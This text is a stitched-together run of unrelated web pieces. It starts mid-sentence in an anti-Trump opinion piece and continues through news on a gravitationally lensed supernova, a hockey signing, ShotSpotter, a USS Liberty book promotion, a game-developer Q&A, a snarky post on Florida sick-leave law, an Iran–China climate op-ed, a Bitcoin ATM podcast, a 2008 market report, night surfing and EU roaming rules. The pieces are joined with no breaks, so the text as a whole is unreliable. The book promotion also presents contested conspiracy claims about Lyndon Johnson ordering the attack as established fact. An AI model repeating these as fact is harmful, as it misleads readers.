Though Trump has since called her "the worst secretary of state," he has not tied that convenient and sudden flip-flop to her role in enabling the rise of Islamic extremism in the Middle East (a policy he supported, at least in Libya) or her questionable associations with the caliphate movement within the U.S.
So Trump promises to pause Muslim immigration for a short time – a weaker position on restricting Muslim Islamist infiltration than those both Rand Paul and Ted Cruz were advocating long before Trump's headline-grabbing announcement. He promises to shout down free speech that might offend Islamists (except, apparently, when he finds such speech useful to himself during a campaign). He promises to claim neutrality in the Israeli-Palestinian conflict. And he promises to ignore global caliphate influence in Washington when his old friends are involved.
He promises to talk tough, but act weak, on Islamism, and I believe him.
Unless, of course, distant galaxies are playing tricks on our eyes.
A new study published in the journal Science argues that 10afx is, in fact, an utterly average supernova. But this supernova is conveniently positioned in front of a giant, cosmic lens that makes it appear up to 30 times brighter.
"Between us and the supernova, there is a massive object—a galaxy that bends space-time and acts as a giant magnifying glass," Robert Quimby, an astronomer at the University of Tokyo and coauthor on the study, said in a press conference.
Quimby's giant magnifying glass is a gravitational lens, a result of Einstein's Theory of General Relativity. Gravitational lensing occurs in space when an object with a large gravitational pull, like a galaxy, bends incoming light and refocuses it elsewhere. This can cause the image to scatter or, in some cases, appear brighter.
"It's rather like an extra telescope," said Marcus Werner, a physicist at the University of Tokyo and coauthor on the study. "This magnification allows us to see objects that would be too faint to see otherwise."
In the case of 10afx, Quimby and his team suspected that the supernova's bright red light had bent around a nearby galaxy before its sufficiently magnified rays could reach Earth. That brilliant, reddish glow, then, would have been just an artifact of an intervening galaxy. "We found that, aside from its brightness, [10afx] actually appeared very similar to a normal supernova, but one seen through a gravitational lens." Quimby said.
Gravitational lensing is a rare phenomenon: such cosmic magnification relies on precise alignment between the galaxy and the supernova. "For strong lensing to occur, one typically needs a massive galaxy in the foreground at an optimal distance between us and the background source," said Anupreeta More, a postdoctoral fellow at the University of Tokyo, and coauthor on the study.
Light spectrum analyses confirmed the presence of a galaxy just in front of the supernova, at an appropriate distance for gravitational lensing to occur. The scientists concluded that 10afx had likely been magnified. "The only way I know of to have a supernova look like a supernova but be 30 times too bright is through gravitational lensing," Quimby said.
Further analyses, however, are required to prove conclusively that a gravitational lens is magnifying 10afx. "There will still be some debate about it," says Brad Tucker, an astronomer at the University of California, Berkeley. "It does seem that there is an object in front of the supernova, but we need more spectra data in the infrared." Infrared readings would offer more data points for outside scientists to analyze.
The deal begins with the 2012-13 season and runs through the 2014-15 campaign.
McNeill, 20, was drafted by Pittsburgh in the sixth round (170th overall) of the 2010 NHL Draft. He spent the past season playing for the Barrie Colts of the Ontario Hockey League (OHL). McNeill appeared in 51 regular-season contests for the Colts, tallying 12 points (3G-9A) and a plus-9 rating. He added a plus-1 rating in 13 playoff games.
Prior to joining Barrie in an offseason trade, the 6-foot-3, 200-pound McNeill played his first two junior seasons with his hometown team, the London Knights. The defense-minded blueliner skated in 115 regular-season games with the Knights, scoring four goals, seven assists and 11 points. McNeill notched one assist and posted an even rating in 18 playoff games.
District 2 Councilman Alan Warrick said crews recently installed ShotSpotter technology in two areas on the east and west sides of San Antonio. ShotSpotter is gun detection devices that use acoustic listening sensors to detect explosive sounds, like gunfire. It will alert police where the shots were fired within 30 seconds.
"It's able to tell you what caliber gun they're using, whether there are multiple guns on the scene," Warrick said.
Crews recently installed the gun detection system in two areas with the highest gun violence.
"We're not telling people exactly where it is, but it's definitely in the heart of the east side, in the heart of the west side," Warrick explained.
Dignowity Hill Neighborhood Association President Brian Dillard said he believes ShotSpotter is a good tool, but he has some questions when it comes to legalities.
"Cops are going to run over and get five people in the area and then who do we prosecute, how do we prosecute them and does this really help with us prosecuting the assailants?" he questioned.
Remember the Liberty! explores how a sitting U.S. president collaborated with Israeli leaders in the fomentation of a war between them and their Arab neighbors, Egypt, Syria and Jordan. It had been planned for months, as much as two-plus years – though disguised as “spontaneous” – to be a war that would ensure a victory for Israel, the weakening of her enemies in neighboring Arab nations, and include the acquisition of additional territories for Israel, all incentives to ensure the support of Israeli leaders.
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But the 36th President of the United States, Lyndon B. Johnson, harbored his own interests in facilitating what would become known as the Six Day War: To him, the highest tier of his interests always centered around his accumulation of power, and in this case, it was about Remember the Liberty!:... Phillip F. Nelson, Ron... Best Price: $12.50 Buy New $11.00 (as of 01:55 EST - Details) holding on to it the following year by ensuring his reelection. Upset with his loss of popularity by Jewish voters, he wanted to give Israel as much covert – and ultimately, had the plan succeeded, overt – support as possible in the plan to engage their neighbors in that war, including the creation of a pretext to join them in attacking Egypt.
This book finally exposes the actual cause – the only realistic possible explanation – of the mysterious, and unresolved, vicious attack on a U.S. Naval ship. After the botched plan had been executed, the ship refused to sink even after being hit by a torpedo, leading the attack to be cancelled and a massive cover-up invoked, including severe threats for the crewmembers to “keep their lips sealed.” As the ex-CIA analyst Ray McGovern put it in the book’s Foreword, those orders “put steroids to the PTSD suffered by many of the survivors.” That cover-up is still, barely, in place, and now completely exposed. Written largely by three of the survivors themselves (Ernie Gallo, Ron Kukal and Phil Tourney), the truth is finally being told, with the remaining secrets of the real story finally revealed.
USS Liberty, before the attack
USS Liberty, after the attack
Remember the Liberty! puts much more focus on the brutality with which the Johnson administration and the U.S. Navy hierarchy treated the sailors themselves, not only then, but, as importantly, continuing even now. It began before, during and immediately after the attack but – because of the threats of prison “or worse” if they ever uttered a word about it, even to their wives or parents – it festered for decades, while they had to live – alone, sans support groups – with the horrors they had experienced first-hand, in real time. It meant keeping their appalling memories within themselves for 15-20 years before they felt safe enough to even discuss it with anyone else. Their stories relate how they have continued to be marginalized and dismissed by the mainstream media (MSM) and accused of anti-Semitism by Israeli defenders in knee-jerk fashion. In fact, the book contains an entire chapter dedicated to this point, along with other references to the same point within other chapters.
Another very significant point – never previously noted in any other book on this “incident” – is how, after the motor torpedo boats had fired four torpedoes and all had missed the target, the fifth torpedo which hit the Liberty was fired, according to one sailor’s account, as the result of a presidential order to one of his own ships. The severely wounded sailor who discovered this part of the story – a well-respected man of impeccable reputation – was nearly killed during the attack, only saved by another sailor who came to his rescue and helped him to the medics, holding his intestines inside his abdomen until he delivered his fellow sailor to the ship’s only doctor. When he was finally released from the hospital and returned to the U.S., he then discovered that his Navy records had been fudged to hide the fact that he was even on the ship, so he had to hire an investigator to prove it in order to obtain his disability acknowledged. His investigator had high-level Pentagon contacts who revealed many of the hidden secrets to him, and that’s how the survivor found out about that “fifth torpedo.” No one else has ever come forward to verify his story, and allow their names to be released, so, accordingly, we had to treat this part of it very “deftly,” almost as though it was merely a “rumor” that may one day finally be acknowledged.
Finally, in drydock, the damages were inspected
Many other books have been written on the Israeli attack on the USS Liberty. Some of those present the case put forth by the U.S. and Israeli governments’ “official story” (See those by A. J. Cristol, or Michael Oren), developed to perpetuate the contrived cover-up account, hiding the incriminating facts and essentially writing it off as a freak “accident.” But that was never the reaction of the State Department officials of the time, or the Navy brass who were not under orders to conduct a phony investigation designed to cover it up. One of them, former chairman of the Joint Chiefs of Staff, Admiral Thomas Moorer, observed that the president’s handling of the Liberty attack was “… the most disgraceful act I witnessed in my entire military career.” The man who wrote the original fabricated Navy “Court of Inquiry” report on the incident – the report used by those same authors as the basis for their books – eventually retracted all of it: Former Navy Captain Ward Boston Jr., JAGC, in 2004 wrote a scathing renunciation of the book by A. J. Cristol, admitting that the original Navy report was designed to cover up the truths and replace them with bald-faced lies, as we detail in the book.
The many books which have attempted to lay out the substantiated facts behind the attack all come to the conclusion that the brutal 2+ hour attack was not only intentional – nor was it designed to merely put the ship out of commission, which was accomplished within the first five minutes – it was meant to ensure that it sank to the bottom of the Mediterranean Sea and that there would be no survivors who might attempt to “correct history.” These books (primarily those by James Ennes, James Scott and several others referenced in our book) do not mention the primary factor that actually caused the attack in the first place, and which then created the massive cover-up. Some of the best books (e.g. Peter Hounam’s Operation Cyanide) did point to strange actions going on at the White House, and suggested that Johnson’s political troubles might have something to do with the chain of events.
But Remember the Liberty! is the first book to factor into the equation LBJ’s clear psychosis, known to those close to him but long hidden from the public by the press and fawning historians. Only by understanding his manic desire to win back the political support of Jewish people in the biggest cities – especially New York, Chicago, Philadelphia, Miami and Los Angeles – who had abandoned him because of his Vietnam policies, can one understand what really happened. Like his previous “false flag” operation – the phantom attack at the Gulf of Tonkin by North Vietnamese gunboats on two U.S. Navy destroyers, conveniently occurring just three months before the 1964 elections, which helped him win his landslide victory – he thought this attack would secure his re-election the following year. Yet the opposite happened: When the Liberty did not sink – and his devious “false flag” plan to use it as a pretext for blaming the attack on Egypt and join Israel in their victorious “Six Day War” collapsed – his re-election chances were the only thing that sank. Nine months later he reluctantly announced that he would remove himself from the 1968 elections to the very office that he had lusted for his entire life.
The conflicted goals of the Six Day War are the root cause of the turbulence in the Mid-East, which the world has witnessed for the last five decades. It has produced ironies, such as the fact that over half of the U.S. foreign aid budget goes to Israel, a well-developed, prosperous economic power set amidst some of the most poverty-ridden nations in the world. And it was through the paradox of Johnson’s most sordid manipulations that the U.S./Israel relationship became so close in the aftermath of the Liberty attack: Suddenly, U.S. policy was transformed from being “neutral” towards all countries in the area – as previous administrations had tried to remain, to avoid being seen as partial to either side – to that of openly, aggressively, backing Israel in all possible ways, including its acquisition of nuclear weapons and delivery systems. Meanwhile, the tensions between Israel and its Palestinian “citizens” in what they consider as “occupied territory” has descended into a state of constant fighting between the two sides, especially as manifested in the walled-off territory called Gaza. While Israel claims to be the only democracy in the area, that term seems to apply only to those of the Jewish faith or their descendants. For Palestinians, the more correct term would be “apartheid.” The worst part of the current state of affairs in the existential Israel / Palestine state is how all of those facets appear to have been the product of the insouciance – or worse, the rigidly pro-Zionist views – of America’s leadership, regardless of the individuals or the parties in power.
This book will undoubtedly come under fire for its controversial assertions. But any criticisms of it being biased against Israel will be misplaced, since, if anything, it finally puts the primary blame for the attack on the USS Liberty where it should have always been: upon Lyndon Johnson. Israeli leaders were only taking their despicable actions because Johnson had insisted on it, implicitly, as a condition for his assistance in their plans for extending Israeli borders into Palestine. The fact that his diabolical plan failed, and the Liberty did not sink, thanks to the heroic efforts of the survivors, saved the world from the nuclear conflagration which might have otherwise occurred, with Jerusalem – the “city of peace” – at ground zero.
Remember the Liberty! TrineDay Publishers, 2017
Authors: Phillip F. Nelson, with Ernest A. Gallo, Ronald G. Kukal and Phillip F. Tourney (survivors of the attack on the USS Liberty, and Foreword by ex-CIA analyst Ray McGovern; Preface by Edgar F. Tatro
Wow, you folks really got our inaugural Bring Out Your Devs™ off on the right (or left) foot with all the great questions! Because of the sheer volume, I’m going to break this up into two parts. Part II will follow at a later date but probably before the end of the year. This will be a “two-update” week at a minimum with the next Becoming™ tale being also scheduled for this week.
Our next BOYD will feature Andrew Meggs. As usual for these sorts of things, we will be opening up a discussion thread on our forums where you can post your questions to Andrew.
Work proceeds nicely here and everyone is both excited about the end-of-the-year break and the opening of IT in late January. The long-awaited update of our website and the opening of the new Builder Tiers will also happen in January due to the amount of work both require to get them up and running properly.
Thanks again for all the great questions! The full update can be found on our website here.
-Mark
Bring Out Your Devs#1™ - Mark Jacobs Part I
Stephan Mueller asked: I would be interested to know how to deal with requests, suggestions of Backers when the percentage is very high because many have the same desires and suggestions for the implementation of the game, but opposite to the ideas of Mark because his concept of making the game looks different. How do you deal with such a weighting to Backer's wishes vs. Mark / concepts / visions etc.?
The first thing to remember is that this game is not being designed by a committee of Founders/Builders/etc., nor of a committee composed of Founders + CSE. We’ve been very open about a lot of the game’s design, whether through my Foundational Principles, KS updates or other posts. These are things that we feel very strongly about and that were talked about in our KS. Even if a lot/most of our Founders wanted us to change some of them, we wouldn’t do it because they asked; we’d only do it if we were both sure that it made the game better and that these changes wouldn’t break a FP/promise to our backers. Also, keep in mind that I talk about all the key concepts and designs within the studio (for both feedback and a sanity check) before I talk about it with our players.
Ruveron asked:If you implement the ducks, they are just a private joke with the community now or have a role in game (food, farming, target training …)?
I think that one of the few things that the three Realms of this world may agree on is that ducks need to be protected and not used as a food source. :)
linumain asked: Will we be entitled to switch weapons without restriction?
Not a chance. You can switch weapons during combat but it will not be an instant switch with no loss of time/focus. The amount of time/focus may vary but there should be, at a minimum, a slight cost for doing so.
Hellraise asked: What is your personal feeling and experience when balancing a game? Do you get angry at not spotting an overpowered combo or an unloved class? Disappointed? Or just think that it is one of the truths of life "there will be balance patches"? Do you believe that with enough brain power you can get things right?
No game of this complexity will ever get everything right. Hasn’t happened and will likely never happen even when the day comes that computers design games themselves. I would say though that I am disappointed when I make a mistake of this or any other kind. I’m a lot harder on myself than I am on other people. :)
Hellraise also asked: About the Middle Eastern investors, what were the strings attached that made you reject their offer? Were they in purely from a ROI perspective or did they want to influence the development?
Initially they were interested in a straight investment deal. As the talks progressed, their focus seemed to shift more to a move of the studio to their country and/or me spending a lot more time there than here. The first part came with a stunning amount of personal gain for me but both carried too much risk for CU as well as potential losses among our team so I had to decline the first part. It’s a shame, I really liked them, their country, etc., and I think we could have done a lot of interesting things together but among the things I said to them was that I had 15K+ Founders who backed CU and I can’t do anything that could put this project at risk.
Dazed asked: What century will CU be set in?
That would be telling. :)
Sornin asked: What mechanisms will be in place to ensure a realm can recover and compete again after being driven back very, very deep into their own territory?
That is a pretty complicated answer but let’s start with an easier example. Let’s say that the Arthurians are heavily outnumbered by other two Realms and have been driven all the way back to their main city. First, we will probably have the expected Realm bonuses for the outnumbered Realm. Next, the Veilstorms will probably be triggered to change things up a bit and third, other things will happen in the beleaguered Realm’s territory to give them more of a fighting chance. That’s all I can say for now.
Sornin also asked: Do you ever feel constrained by the legacy of Dark Age of Camelot during development? Do you ever feel concerned about breaking away from how it did things?
Hmm, how about every day when I see people saying things like “Just do it the way Dark Age of Camelot did it” or something like that. As we said during the Kickstarter, this is not Dark Age of Camelot 2, it is it’s own game. We intend to make a great RvR-focused game that uses, at its core, some of the same public domain legends/stories/tales that influenced us during the development of that great game but we will not be bound by that legacy.
Meddyck asked: Were you surprised and/or concerned by the fact the CU Kickstarter raised such a high percentage of its money from high dollar tiers and that there weren't more people donating at the $50 or less tiers?
A little surprised but it was mostly a pleasant surprise. I did expect a higher turnout with a smaller average spend but I’m not at all unhappy at how things worked out. Given the relatively disappointing performance of most MMORPGs (in terms of sales/subs) over the last six+ years, raising 2M+ for an RvR-only MMORPG is a nice accomplishment. Over the next two years as Camelot Unchained evolves we will get a lot more backers in the $50 and below tiers.
Nazon_Katts asked: Do you believe multi-game MMO worlds, like EvE's Dust and possibly Valkyrie, will be the future of the genre? Is this something you have considered for CU?
I pitched EA a couple of concepts around multi-platform games seven years ago and I do think that there is a place for those kind of games today and going forward. I don’t think they are “the” future for the genre but I do think that they could be “a” future. As to Camelot Unchained, I’d love to see us release bits of the game on other platforms but as of now we have no plans to do XBox One and/or PS4 ports of the game.
Jagp asked: How much rage do you expect from people when you'll make hard decisions for the game in the future (for example: you leave out certain races from the game or even a whole mechanic altogether)?
Rage is something that is always associated with MMORPGs whether from the players or devs side. I remember the furor whether it was with the cutting out of some of the cities with WAR, or WoW’s last minute changes right before launch. We hope that by setting the expectations lower for this game (fewer races, classes at launch) we won’t have much to cut and thereby limit the power rage of players. :) We have been and will also continue to be incredibly pro-active in terms of talking to our Founders/Builders during the development process so there should be fewer negative, last-minute surprises than most other MMORPGs experience during development. That is one of the perks of not being part of a large and/or publicly traded company, we can talk about anything we want to without worrying about somebody higher up the food chain calling out for my (or other person’s) head for speaking out about things ahead of time either due to concerns from Investor Relations or just the usual chain-of-command stuff.
Sinikin asked: What has been your most memorable experience so far with the CU project?
This is an easy one, the moment we funded and when the KS closed. We were all pretty excited here and when Andrew took the mic and said all those really nice things about me during the LiveStream I was taken by surprise and unbelievably happy. It was a really emotional moment for me considering that Andrew is quite a genuine person so I know that he meant every word that he said.
travy asked: Will there be /face /stick, etc.? If not decided, which way are you leaning?
I suppose I need to talk about this at some point so I might as well say something now. My personal feeling is that we shouldn’t have them in the game but I really want to get feedback from our Founders/Builders about this. Again, this is just my personal feeling and like many things in Camelot Unchained, I’m not going to implement it just because I feel a certain way.
Risks and challenges
Ha. Ha. Sorry poor people! You're just not allowed to get sick. Now sack up and get back to work!
See also: Rick Scott Kills Florida Wildflower Bill, Because No Free Handouts For Them Either!
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The bill, which was backed by poor loving corporations such as Disney World, and the people that own Olive Garden and Red Lobster, blocks local governments from implementing paid sick leave legislation.
Florida's House Majority Leader, Steve Precourt (GOPz), who played a major roll in putting forth the bill, is a member of the American Legislative Exchange Council, the GOPer group responsible for getting these kinds of laws passed throughout the U.S. because MURICA!
The group calls the no paid sick leave laws "preemption bills," because screwing the working people of America has to have a super catchy name that sounds like it's a healing balm for the soul of the nation.
And, of course, corporations and their lobbyists see the bill as necessary to cut down costs, because what kind of business are we running when people get attacked by viruses and get cancer and need to rest and want to get paid so they can keep their lights on??
PFFFFFFT.
See also: Rick Scott Doesn't Want Undocumented Immigrants' Kids to Have Drivers Licenses
A group trying to keep the ballot referendum that would get paid-sick leave on a ballot collected 50,000 signatures in a petition.
But Disney and their Big Business pals forced commissioners to keep it off the ballot. And that's exactly what they did, in a 4-3 vote.
And then....
A three-judge circuit panel ordered it on the next ballot. Commissioners soon after voted to send it to Orange voters in the August 2014 primary contest. But those who opposed the measure from the beginning had discussed such a delay-and-kill plan. On the eve of the Orange County Sept. 11 vote, local GOP leader Lew Oliver texted a commissioner that the board only needed to delay the proposal long enough for the Legislature to deliver a "kill shot."
Kill shot.
Ah those GOPers. Always such wordsmiths that capture the moment so perfectly.
See also: - Rick Scott Signs Texting-and-Driving Ban Into Law - While Rick Scott Vetoes Tuition Hike, BroCo & PBC Get $11 Million In Pork Spending
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From Washington to Beijing
Iran’s newly re-elected globalist President Hassan Rouhani stands in stark contrast to the election of the nominally nationalist President Donald Trump. Trump’s announcement of withdrawal from the Paris Agreement reflects his administration’s current isolationism and American retrenchment. In regards to both Iran and climate policy, the U.S. has ceded its leadership to China. While the U.S. wavers on the idea of rapprochement with Iran, China is happy to continue engagement.
Encouraging stability in Iran is helpful for Chinese interests, considering Iran’s position in the Middle East as both a military and economic power. Engaging with Iran is but one step towards China’s increasing leadership role in the region. This will is reflected by their “belt and road” initiative, of which Iran is also a part. For this initiative, China is spending roughly $150 billion a year on infrastructure projects in 68 countries along the historic Silk Road. It is worth noting that the United States’ other geopolitical rival, Russia, also happens to be heavily involved in this project. Iranian interests coincide with Russia’s in the Middle East, pushing them towards closer cooperation. Indeed, Russia and Iran’s support of President Bashar al-Assad in Syria illustrates this relationship. Regardless, China recently included climate goals in the program. The end goal is to create a ‘Silk Road Economic Belt’ by land and a ‘Maritime Silk Road’ by sea. The upshot is an increase in Chinese influence, particularly in Middle Eastern and South Asian states.
The key takeaway is that the absence of U.S. leadership threatens America’s place as Asia’s indispensable power. Considering Chinese oceanic ambitions and their potential threat to free and open seas through their nine-dash line initiative, it is imperative the U.S. rises to the challenge. Although the Obama administration attempted to do so with its ‘pivot’ to Asia, the current administration has sent mixed messages to South Asian allies, thereby threatening Washington’s credibility. This is undeniably troubling, for as America scrambles, China is fully prepared to engage with other states on common ground. An article in Zimbabwe’s The Herald highlighted that, as a fellow developing country, China does not “underestimate” its partner and that their investment is a “win-win.” As it stands, it would be difficult for the U.S. to compete with that level of praise. Green diplomacy offers additional avenues with which to engage with states like, in this case, Iran.
Iran’s Emerging Environmental Movement
Environmental deterioration in Iran has reached a tipping point with Iran facing soil degradation, water shortages, and some of the worst air pollution in the world. In February, water shortages and air pollution galvanized five days of protest in Ahvaz, a city who topped the World Health Organization’s air pollution list in 2013.
While poor government oversight has contributed to Iran’s environmental decline, international sanctions against Iran have contributed significantly to its domestic air pollution problem. Although Iran has vast petroleum reserves, Iran largely relied on imports of refined gasoline from places like Europe for individual use. When sanctions cut this supply, Iran had to adapt existing infrastructure into refineries to meet the needs of its populace, resulting in the widespread use of pollutant-laden, low-quality gasoline.
Iran’s fledgling environmental movement has not gone unnoticed by Iran’s top officials. Recent elections have featured concerned politicians touting their environmental efforts. During the 2016 Parliamentary elections, hundreds of candidates from around the country signed an environmental pact as an attempt to appeal to voters’ concerns for air and water degradation. Rouhani gained popularity four years ago by vowing to save the disappearing Lake Urmia and has cited its conservation efforts as a success of his administration.
While economic troubles ultimately define Iran’s elections, candidates of all ilk are including environmental issues in their platforms. This, however, should not come as a surprise. The World Bank estimated that air pollution costs Iran $13 billion a year. Iran is also a signatory of the 2015 Paris Agreement and includes environmental protection as a “public duty” in its constitution. Under the Paris Agreement, Iran has pledged to reduce its emissions 4% below business as usual by 2030. In the past, Iran has had trouble meeting its greenhouse gas mitigation targets and, as mentioned in their Paris INDC, they largely attribute this lack of progress to “unjust sanctions.”
Like many developing nations, Iran will rely heavily on assistance and some good faith from the international community to meet its environmental goals. It is one of ten countries that explicitly name nuclear power in their climate change mitigation strategy. It would therefore be very difficult for Iran to meet its nuclear energy goals without the Joint Comprehensive Plan of Action (i.e. the ‘U.S.-Iran Nuclear Deal’). Currently, with regards to Iran, the JCPOA is in flux, with the Trump administration planning to “review” the deal. For Iran’s sake, the re-election of Rouhani reflects a referendum that reaffirms Iranian commitment to the JCPOA and globalism, with Rouhani pledging reengagement with the international community since his first term. Couple this with the government’s approval for foreign investment in renewables and Iran has fertile ground for green diplomacy.
Beijing Meets Tehran
To avoid harming the economy while working towards climate goals, Iran will require foreign investments to help grow its base of renewable energies. China is happy to invest, unlike the United States. China has invested heavily abroad from Germany and Brazil to Chile, Indonesia, Egypt, Pakistan and Vietnam, which in turn bolsters its own renewable sector.
The similarities between Iran and China’s domestic environmental issues could not be more striking. Both are experiencing crippling air pollution, which is affecting how the public views the government. In an attempt to do something about it, both governments have instituted driving restrictions to keep cars off the road and both have kept children out of school when air pollution reached dangerous levels. Poor government oversight is also an important contributor to environmental degradation in both countries. “The sky is high and the Emperor is far away” is a Chinese saying illustrating just that: Beijing, like Tehran, has difficulty monitoring local environmental officials, which leads to corruption. With these similarities, it’s hard not to draw conclusions that China is increasingly well-equipped to help Iran deal with its environmental problems.
Unlike Iran, China possesses the financial might to make changes necessary to address some of these domestic issues; it has shuttered coal plants and is investing billions into renewable energies. As China is already invested in Iran in other areas, like defense and infrastructure, it would not be much of a leap to include clean energy.
Brave Green World
President Trump specifically targeted the Green Climate Fund, which provides monies to developing countries to help them implement their INDCs, in his Paris-exit speech. But rather than a give-away, as the President framed it, investment in the Green Climate Fund should be seen as green diplomacy. It is a way for the U.S. to further diplomatic engagement with developing countries at a time when U.S. diplomacy is chaotic and its primacy in the world is uncertain. Chinese international investment has thus far provided China increased influence with little diplomatic backlash. China has continued to improve its image as a global leader on climate change while the U.S. falls behind, and clean energy investment in Iran would be no exception.
Arbiters Michaela Koke and Drake MacFarlane coauthored this piece. You can learn more about them here.
The views expressed in this piece do not necessarily reflect the views of other Arbitror contributors or the views of Arbitror itself.
In today’s show, we discuss:
How attending a meetup provided her with an opportunity to move and work in Panama
How she turned a hobby of owning a Bitcoin ATM into a serious passive income stream
Why Cindy is the first in the world to integrate the up-n-coming digital currency “Dash”
How Bitcoin helps the very poor families of Venezuela protect their savings and afford to live
While working for a Bitcoin company in Panama, Cindy encountered a problem. She, and all of her friends, were receiving their salaries in the crypto-currency Bitcoin, but the rest of the Panamanian economy ran on US Dollars. A currency is only good if you can spend it, and Cindy was constantly short on USD bills.
Coming from an entrepreneurial family, she decided to purchase what’s known as a Bitcoin ATM. It’s very similar to the cash-based ATMs that you are accustomed to, but instead of swiping your debit card, you send it bitcoins from your phone. Remember, bitcoin does not require the banking system and as President Obama said “with bitcoin everyone essentially has a Swiss bank account in their pocket”. I should mention that Bitcoin ATMs work both ways, you can buy bitcoins with cash or you can buy cash with bitcoins.
What was first a hobby project, so that Cindy and her colleagues could have access to USD liquidity, quickly turned into an opportunity to help expats send money home. In Panama many expats are from Venezuela, who relocate to work and earn a USD salary (instead of their worthless, inflated domestic currency i.e. Pesos, Bolivars, etc)...but there’s another problem...
Many banks won’t open accounts for Venezuelans because they are considered too high-risk. Even if they do get an account, the “official” exchange rate from Bolivars to USD is not even close to the actual, Free-market value. They pretty much get screwed either way.
Enter Bitcoin
Since Bitcoin doesn't require 3rd party approval from a bank, these Venezuelan expats can convert their USD cash (which was earned while working in Panama) into Bitcoin and send the Bitcoin back home to their family using the blockchain. It’s true that Bitcoin is still not widely used, but it sure beats converting directly into Bolivars and losing 90% of the purchasing power. $100 quickly turns into $10 worth of value when wired home. That’s not freedom!
Enter Dash (an alternative crypto-currency)
Later in the interview, Cindy explains why her ATMs now support another crypto-currency “Dash” in addition to Bitcoin. Dash, in her (and my) opinion has some MAJOR advancements over Bitcoin which may find more demand as digital currencies become more of an essential part of the global economy. Cindy’s ATMs are the first in the world to support the Dash digital currency and you’ll definitely want to catch why she made the switch.
The Freedom of Money is an essential element towards total, personal freedom and Bitcoin helps achieve this like no currency has done before. I really hope you enjoy this episode and let me know by liking, commenting and sharing. Entrepreneurs cannot work alone and when you SHARE an episode it really helps.
Build Freedom,
Ashe
Contact Cindy
Email: cindy@tigoctm.com
"Investors are getting defensive, bracing for further economic erosion," said Jack Ablin, Chief Investment Officer, Harris Private Bank.
Rekindling concerns about the impact of the credit crisis, shares of Lehman Brothers Holdings Inc. LEH plunged 44.6% after hopes of a capital injection from Korea Development Bank were dashed. See more.
After chalking up its largest one-day gain in a month, the Dow Jones Industrial Average DJIA, -0.30% nearly wiped out the prior day's gains, dropping 280.01 points, or 2.4%, to end at 11,230.73, with 24 of its 30 components finishing in the red.
Financials weighed heavily on the blue-chip barometer, with American International Group Inc. AIG, -0.82% off 19.3% and American Express Co. AXP, +0.49% falling 5.6%.
Also, Procter & Gamble Co. PG, -0.52% slipped after a downgrade of the consumer-products giant by Merrill Lynch to neutral from outperform.
But shares of fellow blue chip McDonald's Corp. MCD, +0.22% climbed 1.2%. The fast-food giant said same-store sales during August increased by 4.5% in the U.S. and by 8.5% globally.
The S&P 500 SPX, -0.17% fell 43.28 points, or 3.4%, to 1,224.51, while the Nasdaq Composite COMP, -0.14% declined 59.95 points, or 2.6%, to finish at 2,209.81.
Energy and financials gave up the most ground among the S&P's 10 industry groups, with the former off 8.3 % and the latter down 6.1%.
Volume on the New York Stock Exchange neared 1.7 billion, with declining stocks outpacing those advancing more than 7 to 1. On the Nasdaq, more than 1 billion shares changed hands as decliners topped advancers more than 4 to 1.
On Monday, U.S. stocks rallied sharply on the government's plan to acquire most of Fannie Mae FNM, +10.13% and Freddie Mac FRE, +0.00%
Capital needs
The bailout of Fannie Mae and Freddie Mac is "a step, but it's not the answer to all our prayers. It helps position us for the future but doesn't solve our current troubles," said Ablin.
"It was a relief rally yesterday on a measure that the government had to take. Without it, things would have been a lot worse, but it doesn't save the financial sector from the inevitable, which is higher credit losses," said Noman Ali, a portfolio manager with MFC Global Investment Management.
"We won't see any sustained move until we see resolution of core reasons. The financial sector is still tight on credit, and will need to raise capital," said Ali.
Stock indexes churned around earlier in the session, after the National Association of Realtors reports its index of pending home sales fell 3.2% in July from the prior month. Read Economic Report.
The NAR's index is helpful to look at the state of the housing market, but it's "skewed by the huge amount of foreclosures," said Peter Boockvar, equity strategist at Miller Tabak.
"We're still a ways away (to a bottom), but foreclosures help to get to that end sooner rather than later," the analyst said.
Separately, the government said U.S. wholesale sales fell 0.3% in July after a 3% climb in June.
And in its summer update, the Congressional Budget Office said the federal budget outlook has deteriorated in the face of a weakening economy and as war spending rises, with the U.S. deficit likely to double this year compared to last. See detailed report.
Credit Suisse downgraded four U.S. homebuilders -- Toll Brothers Inc. TOL, -1.69% Pulte Homes Inc. PHM, -1.33% D.R. Horton Inc. DHI, -1.44% and KB Home KBH, -0.39% -- to neutral from outperform.
Crude-oil futures dropped nearly 3% to close at their lowest level since April, with crude for October delivery off $3.08, or 2.9%, to close at $103.26 a barrel on the New York Mercantile Exchange.. Read Futures Movers.
After a career spent chasing enormous surf, freediving, and generally getting into ridiculously heavy aquatic situations, Mark Visser is the kind of guy who could surf Jaws with his eyes closed. Which is handy, when you’re surfing in pitch dark…
At 2am local Hawaii time this morning, professional big wave surfer Mark Visser made history by achieving a night ride on waves measuring 30-40 foot faces off the shores of Maui with specially engineered LED lights built into a buoyancy vest and modified into the surfboard. The lighting technologies were created especially for the project by Solus Corporation using ground breaking NASA submarine lighting to ensure the wave and board were lit in the right places, at the right time and illuminated the wave without hindering the vision of Visser, the jet ski drivers and the helicopter pilots.
No one has attempted to ride and capture big waves at Jaws, Maui before in total darkness quite like this. With the help of his team overhead in a helicopter, Visser was towed in by jet-ski as he entered the infamous big wave break just prior to the peak of the swell, completely illuminated.
“It wasn’t until I saw the pictures I realized how big it was. This project has been two years in the planning and it was the scariest, but most exciting thing I have ever done,” says Visser. “Riding in complete darkness meant I had to go off feeling. I had to zone out from
how you normally ride and just be part of the wave. I am so pumped to achieve something that no one thought possible and that I was told was couldn’t be done.”
Coined “The Night Rider,” this feat is set to be the first of a series for Visser. These “world first” extreme adventures will form a documentary collective called “9 Lives” that will be distributed internationally in late 2011, early 2012.
Got a good night surfing story? Let us know...
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The European Commission announced with great fanfare last year that it would entirely abolish the surcharges for using a mobile phone network outside the subscriber's home country from June 2017. It had been steadily ratcheting down the cost of roaming in recent years.
The move prompted an outcry from network operators in low-cost countries worried about the possibility of arbitrage. They were concerned that people would profit from price differences by taking out cheaper subscriptions in other countries, becoming permanent roamers. The result would have been to bring costs down in some EU countries, but push them up in others.
Now the Commission has revealed its plan to prevent such arbitrage, by setting "fair use" policies for roaming.
The draft regulation will require EU network operators to allow their customers to roam on other EU networks for at least 90 days per year -- but customers will be required to log on to their home network at least once every 30 days to avoid surcharges.
Those rules will cover the needs of almost all roaming customers, the Commission said.
Operators will be allowed to place restrictions on customers call or data volumes during those roaming days, too, although those restrictions can't be too tight. "The customer should nevertheless be able to consume volumes of such services equivalent to at least the average volume consumed domestically by the customers of the tariff plan in question," the draft said.
